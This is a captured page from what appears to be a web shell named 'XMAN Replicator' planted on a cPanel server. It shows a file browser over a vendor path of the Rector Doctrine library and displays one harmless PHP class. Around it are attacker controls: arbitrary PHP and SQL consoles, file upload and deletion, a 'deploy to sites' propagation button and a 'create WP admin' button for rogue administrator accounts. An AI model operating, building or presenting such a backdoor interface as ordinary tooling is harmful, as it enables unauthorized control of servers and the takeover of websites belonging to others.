🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
opt
/
cpanel
/
ea-wappspector
/
vendor
/
rector
/
rector
/
vendor
/
rector
/
rector-doctrine
/
src
/
PhpDocParser
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2024-11-08 13:59
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2024-11-08 13:59
🔄
🗑️
🗑️📁
⬇️
🔒
DoctrineDocBlockResolver.php
755 B
-rw-r--r--
2024-11-08 13:59
✏️
🔄
🗑️
⬇️
🔒
View: DoctrineDocBlockResolver.php
<?php declare (strict_types=1); namespace Rector\Doctrine\PhpDocParser; use PhpParser\Node\Stmt\Class_; use Rector\Doctrine\Enum\MappingClass; use Rector\Doctrine\Enum\OdmMappingClass; use Rector\Doctrine\NodeAnalyzer\AttrinationFinder; final class DoctrineDocBlockResolver { /** * @readonly * @var \Rector\Doctrine\NodeAnalyzer\AttrinationFinder */ private $attrinationFinder; public function __construct(AttrinationFinder $attrinationFinder) { $this->attrinationFinder = $attrinationFinder; } public function isDoctrineEntityClass(Class_ $class) : bool { return $this->attrinationFinder->hasByMany($class, [MappingClass::ENTITY, MappingClass::EMBEDDABLE, OdmMappingClass::DOCUMENT]); } }
PHP Console
Execute
SQL Console
Execute